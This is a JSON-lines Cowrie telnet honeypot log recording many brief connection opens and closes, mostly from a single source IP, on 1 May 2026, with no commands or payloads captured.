{"eventid":"cowrie.session.closed","duration":31.52197504043579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.713165Z","src_ip":"51.161.172.108","session":"996852ece994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87452530860901,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.916605Z","src_ip":"51.161.172.108","session":"883fe02b8510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55762004852295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:06.962876Z","src_ip":"51.161.172.108","session":"36290721d518","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.504681825637817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.000375Z","src_ip":"51.161.172.108","session":"91485a77913c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.814615964889526,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.010889Z","src_ip":"167.99.38.72","session":"3c73f6f2d6ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40538,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff18150939eb","protocol":"telnet","message":"New connection: 51.161.172.108:40538 (159.203.135.109:23) [session: ff18150939eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.014549Z"}
{"eventid":"cowrie.session.closed","duration":30.45307421684265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.153835Z","src_ip":"51.161.172.108","session":"d0a05bcc3e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62866187095642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.160555Z","src_ip":"51.161.172.108","session":"37e4b26f5e22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40578,"dst_ip":"159.203.135.109","dst_port":23,"session":"251c12ba7e00","protocol":"telnet","message":"New connection: 51.161.172.108:40578 (159.203.135.109:23) [session: 251c12ba7e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.258639Z"}
{"eventid":"cowrie.session.closed","duration":31.422850370407104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.267915Z","src_ip":"51.161.172.108","session":"62d18f7a4599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40356,"dst_ip":"159.203.135.109","dst_port":23,"session":"c60b39d40b2b","protocol":"telnet","message":"New connection: 51.161.172.108:40356 (159.203.135.109:23) [session: c60b39d40b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.339934Z"}
{"eventid":"cowrie.session.closed","duration":31.04543113708496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.363915Z","src_ip":"51.161.172.108","session":"fc759eb3cd18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40582,"dst_ip":"159.203.135.109","dst_port":23,"session":"22f61453bad9","protocol":"telnet","message":"New connection: 51.161.172.108:40582 (159.203.135.109:23) [session: 22f61453bad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.389118Z"}
{"eventid":"cowrie.session.closed","duration":30.858548402786255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.507710Z","src_ip":"51.161.172.108","session":"c25f9b322e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101532220840454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.524502Z","src_ip":"51.161.172.108","session":"bc388e871249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40608,"dst_ip":"159.203.135.109","dst_port":23,"session":"6418161fc9a5","protocol":"telnet","message":"New connection: 51.161.172.108:40608 (159.203.135.109:23) [session: 6418161fc9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.584377Z"}
{"eventid":"cowrie.session.closed","duration":30.750210285186768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.593540Z","src_ip":"51.161.172.108","session":"704996a76230","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40494,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cd46994658a","protocol":"telnet","message":"New connection: 51.161.172.108:40494 (159.203.135.109:23) [session: 9cd46994658a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.754969Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40644,"dst_ip":"159.203.135.109","dst_port":23,"session":"e84e0ba64bc3","protocol":"telnet","message":"New connection: 51.161.172.108:40644 (159.203.135.109:23) [session: e84e0ba64bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.838137Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40512,"dst_ip":"159.203.135.109","dst_port":23,"session":"62e051918d0e","protocol":"telnet","message":"New connection: 51.161.172.108:40512 (159.203.135.109:23) [session: 62e051918d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.916142Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40660,"dst_ip":"159.203.135.109","dst_port":23,"session":"c72157b0411f","protocol":"telnet","message":"New connection: 51.161.172.108:40660 (159.203.135.109:23) [session: c72157b0411f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:07.920198Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40672,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fdb23b30b89","protocol":"telnet","message":"New connection: 51.161.172.108:40672 (159.203.135.109:23) [session: 4fdb23b30b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.056177Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40694,"dst_ip":"159.203.135.109","dst_port":23,"session":"86985ae4f8d4","protocol":"telnet","message":"New connection: 51.161.172.108:40694 (159.203.135.109:23) [session: 86985ae4f8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.140872Z"}
{"eventid":"cowrie.session.closed","duration":30.660363912582397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.172667Z","src_ip":"51.161.172.108","session":"809cb763ba89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832075595855713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.199486Z","src_ip":"51.161.172.108","session":"d0ccca12f1af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40720,"dst_ip":"159.203.135.109","dst_port":23,"session":"14a336969e21","protocol":"telnet","message":"New connection: 51.161.172.108:40720 (159.203.135.109:23) [session: 14a336969e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.238796Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40738,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f6c520d1259","protocol":"telnet","message":"New connection: 51.161.172.108:40738 (159.203.135.109:23) [session: 2f6c520d1259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.330077Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40708,"dst_ip":"159.203.135.109","dst_port":23,"session":"f27001cb396d","protocol":"telnet","message":"New connection: 51.161.172.108:40708 (159.203.135.109:23) [session: f27001cb396d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.334774Z"}
{"eventid":"cowrie.session.closed","duration":30.542065143585205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.373634Z","src_ip":"51.161.172.108","session":"a08f78eb62bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40566,"dst_ip":"159.203.135.109","dst_port":23,"session":"93d57076575e","protocol":"telnet","message":"New connection: 51.161.172.108:40566 (159.203.135.109:23) [session: 93d57076575e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.380472Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40770,"dst_ip":"159.203.135.109","dst_port":23,"session":"31b3b69889be","protocol":"telnet","message":"New connection: 51.161.172.108:40770 (159.203.135.109:23) [session: 31b3b69889be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.488974Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40796,"dst_ip":"159.203.135.109","dst_port":23,"session":"b806366628e0","protocol":"telnet","message":"New connection: 51.161.172.108:40796 (159.203.135.109:23) [session: b806366628e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.545205Z"}
{"eventid":"cowrie.session.closed","duration":30.850688219070435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.593857Z","src_ip":"51.161.172.108","session":"1bb7480568ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.470628023147583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.692708Z","src_ip":"51.161.172.108","session":"b9dcd9be9b23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40810,"dst_ip":"159.203.135.109","dst_port":23,"session":"8039becc6d4b","protocol":"telnet","message":"New connection: 51.161.172.108:40810 (159.203.135.109:23) [session: 8039becc6d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.787448Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40808,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed59b4ac4c7","protocol":"telnet","message":"New connection: 51.161.172.108:40808 (159.203.135.109:23) [session: 1ed59b4ac4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:08.791261Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40826,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cd70d4fe3b4","protocol":"telnet","message":"New connection: 51.161.172.108:40826 (159.203.135.109:23) [session: 6cd70d4fe3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.055972Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40852,"dst_ip":"159.203.135.109","dst_port":23,"session":"642072504901","protocol":"telnet","message":"New connection: 51.161.172.108:40852 (159.203.135.109:23) [session: 642072504901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.152554Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55674,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee1f7abf21f3","protocol":"telnet","message":"New connection: 51.161.172.108:55674 (159.203.135.109:23) [session: ee1f7abf21f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.248954Z"}
{"eventid":"cowrie.session.closed","duration":30.871011972427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.336265Z","src_ip":"51.161.172.108","session":"e78c5dbbc803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190824270248413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.363181Z","src_ip":"51.161.172.108","session":"8cb6144b7cab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255311727523804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.464516Z","src_ip":"51.161.172.108","session":"797c8e50ed3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55696,"dst_ip":"159.203.135.109","dst_port":23,"session":"76652a5df484","protocol":"telnet","message":"New connection: 51.161.172.108:55696 (159.203.135.109:23) [session: 76652a5df484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.570193Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55682,"dst_ip":"159.203.135.109","dst_port":23,"session":"50e2f6c02f71","protocol":"telnet","message":"New connection: 51.161.172.108:55682 (159.203.135.109:23) [session: 50e2f6c02f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.576690Z"}
{"eventid":"cowrie.session.closed","duration":31.001747369766235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.582865Z","src_ip":"51.161.172.108","session":"48fe428403ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941455841064453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.644684Z","src_ip":"51.161.172.108","session":"d044d7a484d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1866717338562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.817489Z","src_ip":"51.161.172.108","session":"202311c4069e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55746,"dst_ip":"159.203.135.109","dst_port":23,"session":"70000dabad43","protocol":"telnet","message":"New connection: 51.161.172.108:55746 (159.203.135.109:23) [session: 70000dabad43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.854229Z"}
{"eventid":"cowrie.session.closed","duration":31.311480283737183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:09.959285Z","src_ip":"51.161.172.108","session":"304fd1e51581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764434814453125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.048532Z","src_ip":"45.10.154.244","session":"19940e15efef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09918689727783,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.114362Z","src_ip":"51.161.172.108","session":"29738fb7324d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72634744644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.227165Z","src_ip":"51.161.172.108","session":"a7b3c77ec441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"02d6fa7921f1","protocol":"telnet","message":"New connection: 51.161.172.108:55806 (159.203.135.109:23) [session: 02d6fa7921f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.238414Z"}
{"eventid":"cowrie.session.closed","duration":31.34312105178833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.293045Z","src_ip":"51.161.172.108","session":"09fb6f9ac528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55800,"dst_ip":"159.203.135.109","dst_port":23,"session":"856c8ba77086","protocol":"telnet","message":"New connection: 51.161.172.108:55800 (159.203.135.109:23) [session: 856c8ba77086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.309895Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55814,"dst_ip":"159.203.135.109","dst_port":23,"session":"025546c17637","protocol":"telnet","message":"New connection: 51.161.172.108:55814 (159.203.135.109:23) [session: 025546c17637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.344705Z"}
{"eventid":"cowrie.session.closed","duration":31.445098161697388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.463986Z","src_ip":"51.161.172.108","session":"270778db1c2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55856,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e15ef4753f","protocol":"telnet","message":"New connection: 51.161.172.108:55856 (159.203.135.109:23) [session: f8e15ef4753f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.468859Z"}
{"eventid":"cowrie.session.closed","duration":31.805392742156982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.575589Z","src_ip":"51.161.172.108","session":"dfde4eb65c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45270,"dst_ip":"10.17.0.5","dst_port":23,"session":"04fc8e643055","protocol":"telnet","message":"New connection: 45.10.154.244:45270 (10.17.0.5:23) [session: 04fc8e643055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.677400Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55864,"dst_ip":"159.203.135.109","dst_port":23,"session":"932c8005743d","protocol":"telnet","message":"New connection: 51.161.172.108:55864 (159.203.135.109:23) [session: 932c8005743d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.986040Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55930,"dst_ip":"159.203.135.109","dst_port":23,"session":"acd7beb3028e","protocol":"telnet","message":"New connection: 51.161.172.108:55930 (159.203.135.109:23) [session: acd7beb3028e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:10.989608Z"}
{"eventid":"cowrie.session.closed","duration":31.512622356414795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.086479Z","src_ip":"51.161.172.108","session":"3c27447c48c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55950,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53975cf043f","protocol":"telnet","message":"New connection: 51.161.172.108:55950 (159.203.135.109:23) [session: f53975cf043f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.130631Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55952,"dst_ip":"159.203.135.109","dst_port":23,"session":"a926631a27da","protocol":"telnet","message":"New connection: 51.161.172.108:55952 (159.203.135.109:23) [session: a926631a27da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.152937Z"}
{"eventid":"cowrie.session.closed","duration":31.327346324920654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.181895Z","src_ip":"51.161.172.108","session":"a9da7cfb263b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1858651638031,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.316987Z","src_ip":"51.161.172.108","session":"13f6e6c3c124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55988,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f62367652ad","protocol":"telnet","message":"New connection: 51.161.172.108:55988 (159.203.135.109:23) [session: 3f62367652ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.352438Z"}
{"eventid":"cowrie.session.closed","duration":30.75161385536194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.394794Z","src_ip":"51.161.172.108","session":"979521958f61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56020,"dst_ip":"159.203.135.109","dst_port":23,"session":"b73c08bfc41d","protocol":"telnet","message":"New connection: 51.161.172.108:56020 (159.203.135.109:23) [session: b73c08bfc41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.700628Z"}
{"eventid":"cowrie.session.closed","duration":31.90674138069153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.719468Z","src_ip":"51.161.172.108","session":"8023d0a16902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21283507347107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.807136Z","src_ip":"51.161.172.108","session":"74cc234dd3c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56026,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2be59ed808a","protocol":"telnet","message":"New connection: 51.161.172.108:56026 (159.203.135.109:23) [session: d2be59ed808a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:11.944616Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56062,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae004355dabf","protocol":"telnet","message":"New connection: 51.161.172.108:56062 (159.203.135.109:23) [session: ae004355dabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.112572Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56048,"dst_ip":"159.203.135.109","dst_port":23,"session":"315b59bd9bb0","protocol":"telnet","message":"New connection: 51.161.172.108:56048 (159.203.135.109:23) [session: 315b59bd9bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.180177Z"}
{"eventid":"cowrie.session.closed","duration":30.990840911865234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.236914Z","src_ip":"51.161.172.108","session":"c20a34b22820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56128,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b94bc370b9","protocol":"telnet","message":"New connection: 51.161.172.108:56128 (159.203.135.109:23) [session: 33b94bc370b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.417672Z"}
{"eventid":"cowrie.session.closed","duration":31.164687871932983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.468588Z","src_ip":"51.161.172.108","session":"49d40e817544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56122,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb06fc5ba7f","protocol":"telnet","message":"New connection: 51.161.172.108:56122 (159.203.135.109:23) [session: 8fb06fc5ba7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.508032Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56182,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca187596ccb","protocol":"telnet","message":"New connection: 51.161.172.108:56182 (159.203.135.109:23) [session: eca187596ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.628820Z"}
{"eventid":"cowrie.session.closed","duration":31.526760816574097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.697958Z","src_ip":"51.161.172.108","session":"8422bf76134f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.869332313537598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.703166Z","src_ip":"51.161.172.108","session":"820e826c46c3","protocol":"telnet"}
